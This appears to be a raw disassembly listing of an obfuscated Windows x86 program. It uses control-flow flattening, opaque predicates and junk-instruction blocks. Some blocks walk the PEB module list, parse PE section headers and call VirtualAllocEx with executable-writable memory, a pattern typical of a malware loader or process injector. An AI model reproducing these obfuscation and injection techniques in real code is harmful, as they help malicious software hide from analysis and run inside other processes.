xor cl, al
test cl, 1
mov ecx, 0x3b0ab621
cmovne ecx, esi
test al, al
mov esi, 0x3b0ab621
jmp 0x4116b7
mov eax, dword [0x48f784]
mov edi, 0xda1cb3b6
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x6f474b31
mov eax, ecx
and eax, 0x27474901
and edx, ecx
not ecx
and ecx, 0x48000230
or eax, ecx
xor eax, 0x27474901
or eax, edx
not edx
and edx, 0x90b8b4ce
and eax, 0x6f474b31
or eax, edx
mov ecx, eax
xor ecx, 0xc5ea445
mov edx, eax
and edx, 0xf3a15bba
andn ecx, eax, ecx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xc5ea444
and ecx, 0xf3a15bbb
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x2fb4b61d
mov esi, ecx
and esi, 0xd04b49e2
or edx, esi
mov esi, eax
not esi
and eax, 0x2fb4b61c
or esi, 1
or ecx, esi
and esi, 0xd04b49e2
or eax, esi
not ecx
mov esi, 0xe966db65
xor eax, edx
or ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xad4c5f14
and ecx, 0x52b3a0eb
or edx, ecx
xor edx, 0xad4c5f14
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9946a938
mov edx, ecx
and edx, 0x66b956c7
or eax, edx
xor eax, 0x66b956c7
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x48f780], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor dl, 1
or al, dl
xor dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xda1cb3b6
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, cl
jmp 0x40ad70
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x204], eax
mov eax, 0x4284f7d9
jmp 0x401200
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xd626f197
mov edx, eax
not edx
and ecx, eax
or eax, 0x29d90e68
and edx, 0x9604e103
mov esi, ecx
not esi
mov edi, eax
and edi, 0x406318dc
and ecx, 0xbf9ce723
or eax, esi
and esi, 0x406318dc
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x12eaa2d0
and ecx, 0xed155d2f
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x20130098
xor ecx, 0xc4cc5347
xor eax, 0xa14bc9a7
and eax, ecx
and edx, 0xe0d351d8
and ecx, 0x1f2cae27
or ecx, edx
mov edx, ecx
xor edx, 0x1f2cae27
xor ecx, 0xc8
mov esi, edx
and esi, 0x65879ae0
or edx, 0x20000000
and ecx, 0x1508accd
or eax, esi
and edx, 0xeaf75332
mov esi, eax
not esi
and eax, 0x45879ae0
or edx, ecx
and esi, 0xba78651f
or eax, esi
mov esi, edx
xor esi, 0x42011212
xor edx, 0x1508accd
mov ecx, eax
not ecx
and eax, 0x7609ba96
and esi, 0x5609ba96
mov edi, ecx
or ecx, edx
and edi, 0x89f64569
and edx, 0x89f64569
or eax, edi
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x49910090
and ecx, 0x24402a0a
mov edx, eax
or edx, 0x90260161
and esi, 0xd9b701f1
and eax, 0x208d404
and edx, 0xd9b701f1
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x922ed565
and eax, 0x6dd12a9a
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x6ff39df9
and eax, 0x900c6206
or eax, ecx
mov ecx, dword [0x48f784]
xor eax, 0x900c6206
mov dword [ebp - 0x214], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x53fa1ea
and edi, 0xfac05e14
and edx, 0xf1052c7e
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xefad381
mov ebx, esi
not ebx
and esi, 0xfac05e15
or eax, edx
or ecx, ebx
and ebx, 0x53fa1ea
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x304d6313
mov esi, edx
and esi, 0xcfb29cec
or ecx, esi
mov esi, eax
xor esi, 0x484301
xor eax, 0xc1000c6c
and eax, 0xcfb29cec
and esi, 0x304d6313
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x3dcef2a4
setne cl
sete dl
cmp dword [0x48f780], 0xa
mov ch, cl
setl al
setge ah
and cl, al
and ch, ah
and al, dl
or al, ch
xor al, 1
or al, ah
and ah, dl
or ah, cl
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
or dl, al
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
and ah, cl
xor cl, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0x6f08745e
cmovne eax, esi
test dl, dl
mov edx, 0x6f08745e
cmovne edx, eax
test cl, 1
jmp 0x410f94
mov eax, 0x6cd6e161
jmp 0x401200
mov eax, dword [ebp - 0x20]
mov eax, 0xb0f5d4
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x51400055
mov esi, edx
mov edi, edx
or esi, 0x20284000
and ecx, 0x71684055
and edi, 0x4963782
and edx, 0x52c37098
or edi, ecx
mov ecx, eax
and esi, 0x71684055
and ecx, 0x8a018828
and eax, 0xad3c8f67
or ecx, esi
or eax, edx
xor ecx, edi
mov edx, eax
xor eax, 0x52c37098
xor edx, 0xad3c8f67
mov esi, ecx
not esi
and ecx, 0x562f6925
and esi, 0xa9d096da
or ecx, esi
mov esi, ecx
xor esi, 0x72911ea6
xor ecx, 0x8d6ee159
and eax, esi
and edx, ecx
mov esi, 0x9a9b58a5
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x48f780], 0xa
setl cl
setge al
and ah, al
and cl, dl
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
xor al, 1
or al, cl
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or dl, al
or cl, ah
mov ah, cl
and cl, al
xor al, 1
xor ah, 1
and ah, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0xd2a0a6cd
cmovne esi, eax
test dl, 1
mov eax, 0x9a9b58a5
cmovne eax, esi
jmp 0x40dda5
cmp byte [ebp - 0xaf], 0
mov eax, 0xe03c7fba
mov ecx, 0xd1b623a3
cmovne eax, ecx
jmp 0x401200
mov ecx, dword [0x48f784]
mov edi, 0xfd2ae232
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xb0a94236
and eax, 0x4f56bdc9
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xfd9f7857
xor eax, 0x4f56bdc9
and esi, 0x26087a8
or ecx, esi
mov esi, 0xe8a0f8bb
xor ecx, 0xfd9f7857
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe4386691
and ecx, 0x1bc7996e
or eax, ecx
xor eax, 0xe4386691
sete cl
setne al
cmp dword [0x48f780], 0xa
setl dl
mov ah, dl
xor al, dl
or ah, cl
xor cl, dl
xor al, 1
mov dl, ah
and cl, ah
xor dl, 1
or dl, al
mov eax, 0xfd2ae232
xor dl, 1
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
cmove eax, edi
cmovne eax, esi
jmp 0x40ed31
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov ecx, dword [0x48f784]
mov dword [ebp - 0x140], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x8241d389
and edi, 0x7dbe2c76
and edx, 0x6b31bdb3
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x94ce424c
mov ebx, esi
not ebx
and esi, 0x7dbe2c76
or eax, edx
or ecx, ebx
and ebx, 0x8241d389
mov edx, eax
xor edx, 0x94ce424c
xor eax, 0x6b31bdb3
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x740c108e
or ecx, esi
mov esi, 0x206891a2
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x48f780], 0xa
setl dl
setge cl
xor dl, al
or cl, al
mov eax, edx
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x740c108e
cmovne eax, esi
test cl, cl
cmovne eax, edi
jmp 0x40bbab
ror edx, 0xad
bswap ebx
dec edi
inc esi
ror eax, 0x43
sbb eax, 0x9b
sbb eax, 0xb8
sbb edi, 0x29
or esi, 0x2b
dec esi
rcr ebx, 0x29
imul ebx
add edi, 0x56
neg eax
rol ebx, 0xff
rcl ebx, 4
imul edx
rcr eax, 0x89
bswap esi
neg edx
bswap eax
add esi, 0xbd
dec edi
and ebx, 0x4b
rcr ebx, 0xe2
dec esi
add ebx, 0x3f
dec eax
inc edi
rol edi, 0x5f
inc edi
dec esi
dec edi
or ebx, 0xf5
sbb eax, 0x80
dec edx
not edi
add edx, 0x52
rol edi, 0xeb
dec edi
ror edi, 0x86
bswap eax
imul edx
rol ebx, 0xcb
dec edx
imul esi
rol edx, 0xb4
ror edx, 0xcb
add edi, 0x82
rol edx, 0xe4
dec edi
rol eax, 0x87
ror esi, 0x69
sbb eax, 0x5e
and eax, 0xac
not ebx
neg eax
and esi, 0x62
dec eax
sub edi, 0x37
sbb eax, 0x7d
add eax, 0x70
inc edx
mov eax, 0x7d
not edi
sbb eax, 0xf6
ror esi, 0x23
or esi, 0xf1
not edx
dec edx
neg eax
and ebx, 0xcc
not edi
mov esi, 0xe8
imul eax
rol eax, 0x99
or ebx, 0x57
not edx
imul ebx
imul edi
rcl edi, 0x34
sbb esi, 0xb
mov eax, 0xa0
neg ebx
inc eax
dec ebx
sub edi, 0xce
sbb eax, 0xa5
add edi, 0x6b
inc edi
imul edi
rcr esi, 0xf3
bswap esi
inc ebx
rol esi, 0x63
inc ebx
sbb eax, 0xe
rcr edx, 0x8e
ror edi, 0xa9
and esi, 0x2e
inc esi
not eax
not eax
add esi, 0xf9
mov esi, 0x20
or edx, 0x73
mov edi, 0xd8
bswap ebx
bswap ebx
not esi
and eax, 0xfd
add ebx, 0x60
not edx
sbb eax, 0x13
rcl ebx, 2
mov esi, 0x2a
not edi
neg edx
not eax
or edx, 0xb6
dec edx
bswap edx
not ebx
rol eax, 0xe0
add edx, 0x8f
sub ebx, 0x81
mov eax, 0xaa
imul eax
rol eax, 0x71
sub edx, 0xba
inc eax
add esi, 0xc8
ror edi, 0xd0
sbb esi, 0xdb
imul edx
and ebx, 0x5e
or edx, 0xb0
sub edx, 0x7d
inc edi
ror edi, 0x5d
imul edi
dec edi
neg eax
not esi
not edi
dec ebx
dec edi
or edi, 0xbc
add edi, 0xc0
bswap eax
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x98]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
add eax, 0x14
mov dword [ebp - 0x194], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x68c480e
and eax, 0xf973b7f1
or edx, eax
xor edx, 0x68c480e
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x2a3a313
and ecx, 0x15950e72
mov eax, esi
and esi, 0xfd5c5cec
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xea6af18d
or ecx, esi
mov esi, edx
xor esi, 0x810212
xor edx, 0xfd5c5ced
or eax, edx
and edx, 0xea6af18d
and esi, 0x15950e72
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4900002
and eax, 0x600c7e94
mov edx, ecx
and edx, 0x82428061
or ecx, 0x84500001
or esi, edx
and ecx, 0x9d710109
mov edx, esi
xor edx, 0x800002
xor esi, 0x99610109
or eax, ecx
and esi, 0x9d710109
and edx, 0x2828062
or edx, esi
mov esi, 0x1aac22cb
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x86d28063
and ecx, 0x792d7f9c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbb5133ad
and ecx, 0x44aecc52
or ecx, eax
xor ecx, 0x44aecc52
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ah
mov ch, ah
mov cl, ah
xor ch, dl
or cl, al
or dl, ah
xor al, ah
xor ch, 1
xor cl, 1
and al, ah
xor dl, 1
or cl, ch
or al, dl
mov ah, cl
mov edx, ecx
and dl, al
xor ah, 1
xor al, 1
and ah, al
or al, cl
or ah, dl
mov ecx, eax
mov edx, 0xa65c23c4
xor cl, ah
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0xa65c23c4
jmp 0x40b731
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xbdea658a
and eax, 0x42159a75
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x51123e3c
mov esi, edx
and esi, 0xaeedc1c3
or ecx, esi
mov esi, eax
xor esi, 0x40101a34
xor eax, 0xace84182
and eax, 0xaeedc1c3
and esi, 0x51123e3c
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x3dcef2a4
setne cl
sete dl
cmp dword [0x48f780], 0xa
setge ch
setl al
mov ah, ch
and al, cl
xor ah, dl
and dl, ch
or al, dl
and ah, ch
or ah, al
mov ecx, eax
mov dl, ah
not cl
and ah, al
xor dl, 1
and cl, dl
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2d24a612
cmovne eax, esi
test dl, 1
mov edx, 0x2d24a612
cmovne edx, eax
test cl, cl
jmp 0x410f94
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x3c]
mov eax, 0x15bb4ec1
jmp 0x401200
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x28bb1bd3
mov esi, ecx
and esi, 0x9744e42c
and ecx, 0x79760ad4
or eax, esi
mov esi, eax
xor esi, 0x202202c2
xor eax, 0xd744e42c
mov edi, eax
and edi, 0xd995d39
and esi, 0xb266a2c6
or esi, edi
mov edi, edx
xor edi, 0xbfffffff
and edi, edx
mov ebx, edi
not ebx
and edi, 0xf266a2c6
or eax, ebx
and ebx, 0xd995d39
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x8689f52b
and edi, 0x8689f52b
and esi, 0x79760ad4
or ecx, edx
not eax
or esi, edi
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7e7af896
and ecx, 0x81850769
or eax, ecx
cmp eax, 0x7e7af896
mov eax, dword [0x48f784]
setne byte [ebp - 0xae]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
xor esi, 0x96c003fe
andn edx, ecx, esi
and esi, ecx
mov eax, esi
not eax
and esi, 0x51016a21
mov edi, eax
and edi, 0xaefe95de
or esi, edi
mov edi, edx
not edi
and edx, 0x51016a21
or eax, edi
and edi, 0xaefe95de
or edx, edi
not eax
mov edi, ecx
and edi, 0x791b3572
xor edx, esi
mov esi, ecx
not esi
and ecx, 1
or eax, edx
and esi, 0x86e4ca8d
mov edx, eax
not edx
and eax, 0x146bc213
or edi, esi
and edx, 0xeb943dec
xor edi, 0x86e4ca8c
or eax, edx
or ecx, edi
mov edx, eax
xor edx, 0xd000a11
xor eax, 0x82abc1ec
mov esi, eax
and esi, 0x70d4b5c2
and edx, 0x8f2b4a3d
or eax, ecx
or edx, esi
mov esi, ecx
not esi
and ecx, 0x70d4b5c2
not eax
and esi, 0x8f2b4a3d
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0x66a73344
mov ecx, eax
xor ecx, 0xdd24e824
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x22db17db
and eax, 0xdd24e824
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x39a8a59a
and ecx, 0xc6575a65
or eax, ecx
mov ecx, eax
xor ecx, 0x39a88188
xor eax, 0x42555a45
and eax, 0x42557e57
and ecx, 0xbdaa81a8
or ecx, eax
mov eax, ecx
xor eax, 0x2510c46
xor ecx, 0xa8800080
and ecx, 0xe8847291
and eax, 0x177b8d6e
or eax, ecx
xor eax, 0x177b8d6e
sete ch
setne ah
cmp dword [0x48f780], 0xa
setge cl
setl dl
mov al, cl
xor cl, ah
or dl, ch
inc al
xor cl, 1
mov dh, al
or al, ah
xor dh, ah
xor al, 1
not dh
and dh, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or al, dh
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ah, dl
xor ah, al
test dl, 1
mov edx, 0xc9508004
cmovne edx, esi
test al, 1
not ah
cmovne edx, esi
test ah, 1
mov eax, 0xc9508004
jmp 0x410f94
mov eax, 0x28a4d3a8
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x3e857177
and ecx, 0xc17a8e88
or edx, ecx
xor edx, 0x3e857177
or eax, edx
mov ecx, eax
xor ecx, 0xab4814c5
andn edx, eax, ecx
mov ecx, eax
and ecx, 0x54b7eb3a
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xab4814c4
and edx, 0x54b7eb3b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xb99bcef
mov esi, edx
and esi, 0xf4664310
or ecx, esi
mov esi, eax
not esi
and eax, 0xb99bcee
or esi, 1
or edx, esi
and esi, 0xf4664310
or eax, esi
not edx
mov esi, 0x225e5e8a
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0xc9d49d1b
and eax, 0x362b62e4
or eax, edx
mov ecx, eax
xor ecx, 0x41409011
xor eax, 0x24224024
and eax, 0xacb64d2e
and ecx, 0x5349b2d1
or ecx, eax
xor ecx, 0xacb64d2e
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ah
setge cl
xor cl, dl
mov dl, ah
or dl, al
xor al, ah
xor dl, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov eax, 0xba0beb9f
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne eax, esi
test ch, cl
mov ecx, 0xba0beb9f
cmove eax, ecx
mov ecx, dword [ebp - 0x64]
cmovne eax, esi
test dl, 1
cmovne eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0x1c0], ecx
mov ecx, dword [ebp - 0x3c]
add ecx, 4
mov dword [ebp - 0x15c], ecx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0xe00d54e3
mov esi, ecx
and edx, 0x4735a211
and esi, 0xb8ca5dee
or esi, edx
mov edx, ecx
or edx, 0x4735a210
and ecx, 0x1ff2ab1c
and edx, 0x4735a211
or eax, ecx
xor edx, esi
xor eax, 0xe00d54e3
mov esi, edx
not esi
and edx, 0x29f3f2de
and esi, 0xd60c0d21
or edx, esi
mov esi, 0x410b9d71
xor edx, 0x29f3f2de
or eax, edx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x48f780], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x62db2633
cmovne ecx, esi
test al, al
mov esi, 0x62db2633
jmp 0x40f48a
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x494cbc85
and edi, 0xb6b3437a
and edx, 0x6be52152
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x941adead
mov ebx, esi
not ebx
and esi, 0xb6b3437a
or eax, edx
or ecx, ebx
and ebx, 0x494cbc85
mov edx, eax
xor edx, 0x941adead
xor eax, 0x6be52152
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0xcc18ef66
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
cmp dword [0x48f780], 0xa
mov ah, dl
setge al
setl cl
inc ah
mov ch, ah
xor ah, al
or al, dl
xor ch, cl
xor al, 1
or cl, dl
or al, ch
and ch, dl
xor cl, 1
mov dl, ah
or cl, ch
xor dl, al
or al, ah
xor al, 1
mov ah, cl
mov ch, cl
or al, dl
xor ah, 1
mov edx, eax
and ch, ah
xor dl, 1
xor ch, 1
or ch, ah
and dl, al
or ah, al
xor ch, 1
xor dl, 1
or ch, cl
mov cl, dl
or dl, al
xor cl, al
xor dl, 1
mov al, ah
or dl, cl
xor dl, ch
mov ecx, 0x5f26b066
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x5f26b066
jmp 0x4011f2
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, 0x466c6fb4
jmp 0x401200
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x2abec28e
and eax, 0xd5413d71
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xd5413d71
mov edi, esi
and edi, 0x2abec28e
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x59478b08
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x48f780], 0xa
setge ch
setl al
inc ch
mov cl, ch
or ch, ah
xor cl, ah
not cl
and cl, ah
xor cl, 1
mov ah, cl
or cl, ch
xor ah, ch
xor cl, 1
or cl, ah
mov ah, al
xor al, dl
or ah, dl
mov edx, ecx
xor ah, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x72298f57
cmovne ecx, esi
test al, 1
mov eax, 0x72298f57
jmp 0x4011f2
mov eax, dword [0x48f784]
mov esi, 0xf06a92b7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xdb831f5
and eax, ecx
not ecx
and ecx, 0xdb831f5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5b799a59
and ecx, 0xa48665a6
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xa0341041
xor ecx, 0x56c1abac
xor edx, 0x56c1abad
and edx, ecx
and eax, 0xe034b26d
and ecx, 0x1fcb4d92
or ecx, eax
xor ecx, 0x1fcb4d93
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x74fe8b32
and eax, 0x8b0174cd
or eax, ecx
mov ecx, eax
xor ecx, 0x80000084
xor eax, 0x60ee8320
and eax, 0x6beff769
and ecx, 0x94100896
or ecx, eax
xor ecx, 0x94100896
setne cl
sete dl
cmp dword [0x48f780], 0xa
setl al
setge ah
and ah, dl
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x46496dea
cmovne eax, esi
test dl, dl
mov edx, 0x46496dea
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc7c5a704
mov esi, ecx
and esi, 0x383a58fa
and ecx, 0x11cb1251
or edx, esi
mov esi, edx
xor esi, 0x43852200
xor edx, 0x3828007a
and edx, 0xbc68857e
and esi, 0x43977a80
or esi, edx
mov edx, eax
or edx, 0xbc68857e
and eax, 0xee34edae
and edx, 0xbc68857f
or eax, ecx
xor edx, esi
xor eax, 0xee34edae
mov esi, 0x3258627b
not edx
or eax, edx
xor eax, 0xffffffff
setne ch
sete dl
cmp dword [0x48f780], 0xa
mov dh, ch
setge ah
setl al
mov cl, ah
xor dh, ah
and ch, al
and ah, dl
or al, dl
or cl, dl
and dh, dl
or ah, ch
xor al, 1
xor cl, 1
or al, ah
or cl, dh
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor ah, al
xor dl, 1
or dl, cl
mov ch, dl
and dl, al
xor al, 1
xor ch, 1
and ch, al
or al, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7cc62b37
cmovne ecx, esi
test al, 1
mov eax, 0x7cc62b37
jmp 0x4011f2
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x8c]
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x3580986d
jmp 0x401200
mov eax, 0xd35ce4aa
jmp 0x401200
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0xbe5a6af1
setl byte [ebp - 0xad]
jmp 0x401200
push 0x40
push 0x3000
push dword [ebp - 0x130]
push 0
push dword [ebp - 0x134]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xf98a5d1e
and ecx, 0x675a2e1
or edx, ecx
xor edx, 0xf98a5d1e
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xcf535cdd
and eax, 0x64540518
and ecx, 0x30aca322
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xcf535cdd
xor esi, 0xab0759c5
xor edx, 0x30a08022
and esi, ecx
and edx, 0xbef390bf
or eax, esi
mov esi, eax
not esi
and eax, 0xe64c2456
and esi, 0x19b3dba9
or eax, esi
mov esi, ecx
and esi, 0x410c6f40
and ecx, 1
or esi, edx
xor eax, 0x7de7deb0
xor esi, 0xbef390be
or ecx, esi
mov esi, 0xcc18ef66
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x9878a392
and eax, 0x67875c6d
or ecx, eax
cmp ecx, 0x9878a392
setne al
cmp dword [0x48f780], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor ah, cl
xor cl, 1
xor dl, 1
or al, cl
or dl, ch
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4a6d1ad1
cmovne ecx, esi
test al, 1
mov eax, 0x4a6d1ad1
jmp 0x4011f2
mov eax, 0x65587331
jmp 0x401200
mov ecx, dword [0x48f784]
mov esi, 0xece655b7
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xfffffffe
and edx, 0xfffffffe
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne dl
cmp dword [0x48f780], 0xa
mov cl, ah
setl ch
setge al
or cl, ch
